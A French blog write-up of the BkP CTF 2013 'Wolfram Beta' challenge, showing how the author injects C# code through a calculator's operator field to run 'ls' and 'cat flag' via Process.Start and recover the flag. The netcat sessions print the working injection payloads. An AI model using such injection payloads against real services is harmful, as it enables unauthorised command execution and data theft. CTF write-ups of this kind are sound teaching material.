BkP CTF 2013 | Wolfram Beta [Write-Up]

Le but de ce challenge, était de se connecter à une calculatrice.

Celle-ci nous demandait de saisir un nombre, puis un opérateur, puis un autre nombre. Une fois les informations saisies, elle nous renvoyait le résultat.

1er test:

Suivre correctement le déroulement du programme. Pas de « bug ». Tout se passe bien, et celle-ci nous redemande la saisie de chiffres, opérateur etc. Le programme tourne donc dans un gros f(;;). (Boucle infinie)


junky@junky:~/cft$ nc 54.218.12.97 34567
Wolfram Beta - BkP CTF 2013 Team
Wolfram Beta is a great calculator.
just put in a number at the prompt
then put in the operator
then finally the second number
and the calculation will be done INSTANTLY
no accounts necessacary, unlike some of our competition!
first num: 1
operator: *
second num: 1
Thinking...
.....
Done Thinking!
1
first num:

2ème test:

Essayé d’insérer non pas des chiffres mais des lettres à la place. On s’aperçoit que le programme plante, et il nous ferme la connexion avec un joli rapport de Bug. On distingue à ce moment là, que le programme est codé en C#.

3ème test:

On essaie une division par 0. Comme tout le monde le sait, la division par 0 est impossible. Comme on pouvait s’en douter, le programme se ferme brutalement en renvoyant des erreurs C#.

À ce moment là, on s’aperçoit donc qu’il ne sera pas possible de faire quoi que ce soit avec les champs num. En effet, ceux-ci sont vérifiés, et on ne peut y placer que des nombres. Nous nous dirigeons donc sur le champ opérateur.

1er test:

Essayons de saisir autre chose qu’un [‘*’,’+’,’/’,’-‘,’%’] dans le champ opérateur. Le programme se ferme aussi tôt en nous stipulant que l’opérateur saisi ne fait pas partie des 5 opérateurs du dessus.
Résultat si nous insérons ‘k’ a la place d’un opérateur :


k Doesn't look like a math symbol to me...

2ème test:

Nous essayons donc de saisir un opérateur plus un autre caractère a la suite de celui. Là, nous avons une bonne surprise. En effet nous découvrons que le programme ne vérifiait que le premier char dans le champ opérateur, et que si nous insérons un *12 par exemple, le programme plante mais ne nous dit en aucun cas « xxx Doesn’t look like a math symbol to me…« .

Le but est donc de réaliser un type « d’injection de code » en C# afin de lui faire exécuter une commande système. On se penche alors du coté de « System.Diagnostics.Process.Start() » qui permet d’éxecuter un process system. Notre premier test est de réaliser un « ls ».


junky@junky:~/cft$ nc 54.218.12.97 34567
Wolfram Beta - BkP CTF 2013 Team
Wolfram Beta is a great calculator.
just put in a number at the prompt
then put in the operator
then finally the second number
and the calculation will be done INSTANTLY
no accounts necessacary, unlike some of our competition!
first num: 1
operator: *456; System.Console.WriteLine(System.Diagnostics.Process.Start("ls")); 42
second num: 1
Thinking...
...
Done Thinking!
System.Diagnostics.Process (ls)
421
first num: b
flag

On s’aperçoit donc que l’exécution de la commande « ls » fonctionne parfaitement ; celle-ci nous renvoie le contenu du dossier courant, et nous voyons bien la présence d’un fichier « flag ».

À ce moment, nous savons que l’on peut exécuter des commandes systèmes, et nous savons aussi qu’il existe un fichier « flag ». Il nous reste donc plus qu’à faire un « cat » de celui-ci.


junky@junky:~/cft$ nc 54.218.12.97 34567
Wolfram Beta - BkP CTF 2013 Team
Wolfram Beta is a great calculator.
just put in a number at the prompt
then put in the operator
then finally the second number
and the calculation will be done INSTANTLY
no accounts necessacary, unlike some of our competition!
first num: 1
operator: *456; System.Console.WriteLine(System.Diagnostics.Process.Start("cat", "flag")); 42
second num: 1
Thinking...
.....
Done Thinking!
at_least_its_not_a_python_jail
System.Diagnostics.Process (cat)
421

Bingo…. Le « cat » fonctionne à merveille, et nous renvoie donc le contenu du fichier.

FLAG : « at_least_its_not_a_python_jail »

Enjoy! 🙂

Publicités

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s